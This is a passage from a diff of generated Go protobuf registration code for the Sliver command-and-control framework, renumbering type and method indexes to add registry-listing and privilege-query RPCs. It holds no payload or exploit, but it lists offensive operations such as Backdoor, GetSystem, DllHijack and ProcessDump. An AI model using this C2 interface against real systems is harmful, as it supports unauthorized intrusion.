0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45,
0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74,
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a,
0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54,
0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a,
0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50,
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47,
0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73,
0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c,
0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c,
0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65,
0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a,
0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12,
0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44,
0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a,
0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67,
0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70,
0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f,
0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f,
0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -444,84 +459,90 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistryReadReq)(nil), // 57: sliverpb.RegistryReadReq
(*sliverpb.RegistryWriteReq)(nil), // 58: sliverpb.RegistryWriteReq
(*sliverpb.RegistryCreateKeyReq)(nil), // 59: sliverpb.RegistryCreateKeyReq
(*sliverpb.SSHCommandReq)(nil), // 60: sliverpb.SSHCommandReq
(*sliverpb.DllHijackReq)(nil), // 61: sliverpb.DllHijackReq
(*sliverpb.WGPortForwardStartReq)(nil), // 62: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 63: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 64: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 65: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 66: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 67: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 68: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 69: sliverpb.PortfwdReq
(*sliverpb.Tunnel)(nil), // 70: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 71: sliverpb.TunnelData
(*clientpb.Version)(nil), // 72: clientpb.Version
(*clientpb.Operators)(nil), // 73: clientpb.Operators
(*clientpb.Sessions)(nil), // 74: clientpb.Sessions
(*clientpb.Session)(nil), // 75: clientpb.Session
(*commonpb.Response)(nil), // 76: commonpb.Response
(*clientpb.Jobs)(nil), // 77: clientpb.Jobs
(*clientpb.KillJob)(nil), // 78: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 79: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 80: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 81: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 82: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 83: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 84: clientpb.AllLoot
(*clientpb.Generate)(nil), // 85: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 86: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 87: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 88: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 89: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 90: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 91: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 92: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 93: clientpb.Compiler
(*clientpb.Websites)(nil), // 94: clientpb.Websites
(*sliverpb.Ps)(nil), // 95: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 96: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 97: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 98: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 99: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 100: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 101: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 102: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 103: sliverpb.Download
(*sliverpb.Upload)(nil), // 104: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 105: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 106: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 107: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 108: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 109: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 110: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 111: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 112: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 113: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 114: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 115: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 116: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 117: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 118: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 119: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 120: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 121: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 122: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 123: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 124: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 125: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 126: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 127: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 128: sliverpb.RegistryCreateKey
(*sliverpb.SSHCommand)(nil), // 129: sliverpb.SSHCommand
(*sliverpb.DllHijack)(nil), // 130: sliverpb.DllHijack
(*sliverpb.WGPortForward)(nil), // 131: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 132: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 133: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 134: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 135: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 136: sliverpb.Portfwd
(*clientpb.Event)(nil), // 137: clientpb.Event
(*sliverpb.RegistrySubKeyListReq)(nil), // 60: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 61: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 62: sliverpb.SSHCommandReq
(*sliverpb.DllHijackReq)(nil), // 63: sliverpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 64: sliverpb.GetPrivsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 65: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 66: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 67: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 68: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 69: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 70: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 71: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 72: sliverpb.PortfwdReq
(*sliverpb.Tunnel)(nil), // 73: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 74: sliverpb.TunnelData
(*clientpb.Version)(nil), // 75: clientpb.Version
(*clientpb.Operators)(nil), // 76: clientpb.Operators
(*clientpb.Sessions)(nil), // 77: clientpb.Sessions
(*clientpb.Session)(nil), // 78: clientpb.Session
(*commonpb.Response)(nil), // 79: commonpb.Response
(*clientpb.Jobs)(nil), // 80: clientpb.Jobs
(*clientpb.KillJob)(nil), // 81: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 82: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 83: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 84: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 85: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 86: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 87: clientpb.AllLoot
(*clientpb.Generate)(nil), // 88: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 89: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 90: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 91: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 92: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 93: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 94: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 95: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 96: clientpb.Compiler
(*clientpb.Websites)(nil), // 97: clientpb.Websites
(*sliverpb.Ps)(nil), // 98: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 99: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 100: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 101: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 102: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 103: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 104: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 105: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 106: sliverpb.Download
(*sliverpb.Upload)(nil), // 107: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 108: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 109: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 110: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 111: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 112: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 113: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 114: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 115: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 116: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 117: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 118: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 119: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 120: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 121: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 122: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 123: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 124: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 125: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 126: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 127: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 128: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 129: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 130: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 131: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 132: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 133: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 134: sliverpb.SSHCommand
(*sliverpb.DllHijack)(nil), // 135: sliverpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 136: sliverpb.GetPrivs
(*sliverpb.WGPortForward)(nil), // 137: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 138: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 139: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 140: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 141: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 142: sliverpb.Portfwd
(*clientpb.Event)(nil), // 143: clientpb.Event
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -606,118 +627,124 @@ var file_rpcpb_services_proto_depIdxs = []int32{
57, // 79: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
58, // 80: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
59, // 81: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
60, // 82: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
61, // 83: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
62, // 84: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
63, // 85: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
64, // 86: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
65, // 87: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
66, // 88: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
67, // 89: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
68, // 90: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
69, // 91: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
70, // 92: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
70, // 93: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
71, // 94: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 95: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
72, // 96: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
73, // 97: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
74, // 98: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
0, // 99: rpcpb.SliverRPC.KillSession:output_type -> commonpb.Empty
75, // 100: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
76, // 101: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 102: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
77, // 103: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
78, // 104: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
79, // 105: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
80, // 106: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
81, // 107: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
82, // 108: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
82, // 109: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
83, // 110: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
83, // 111: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
9, // 112: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 113: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
9, // 114: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
9, // 115: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
84, // 116: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
84, // 117: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
85, // 118: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
85, // 119: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
86, // 120: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 121: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
87, // 122: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
88, // 123: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
89, // 124: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
90, // 125: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 126: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
13, // 127: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
91, // 128: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
92, // 129: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
93, // 130: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
94, // 131: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
16, // 132: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 133: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
16, // 134: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
16, // 135: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
16, // 136: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
19, // 137: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
95, // 138: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
96, // 139: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
97, // 140: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
98, // 141: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
99, // 142: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
100, // 143: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
100, // 144: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
101, // 145: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
102, // 146: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
103, // 147: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
104, // 148: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
105, // 149: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
106, // 150: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
107, // 151: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
108, // 152: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
109, // 153: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
110, // 154: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
0, // 155: rpcpb.SliverRPC.Msf:output_type -> commonpb.Empty
0, // 156: rpcpb.SliverRPC.MsfRemote:output_type -> commonpb.Empty
111, // 157: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
112, // 158: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
113, // 159: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
113, // 160: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
114, // 161: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
115, // 162: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
116, // 163: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
117, // 164: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
118, // 165: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
119, // 166: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
120, // 167: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
120, // 168: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
120, // 169: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
121, // 170: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
122, // 171: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
123, // 172: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
124, // 173: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
125, // 174: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
126, // 175: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
127, // 176: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
128, // 177: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
129, // 178: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
130, // 179: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
131, // 180: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
131, // 181: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
132, // 182: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
132, // 183: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
133, // 184: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
134, // 185: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
135, // 186: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
136, // 187: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
70, // 188: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 189: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
71, // 190: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
137, // 191: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
96, // [96:192] is the sub-list for method output_type
0, // [0:96] is the sub-list for method input_type
60, // 82: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
61, // 83: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
62, // 84: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
63, // 85: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
64, // 86: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
65, // 87: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
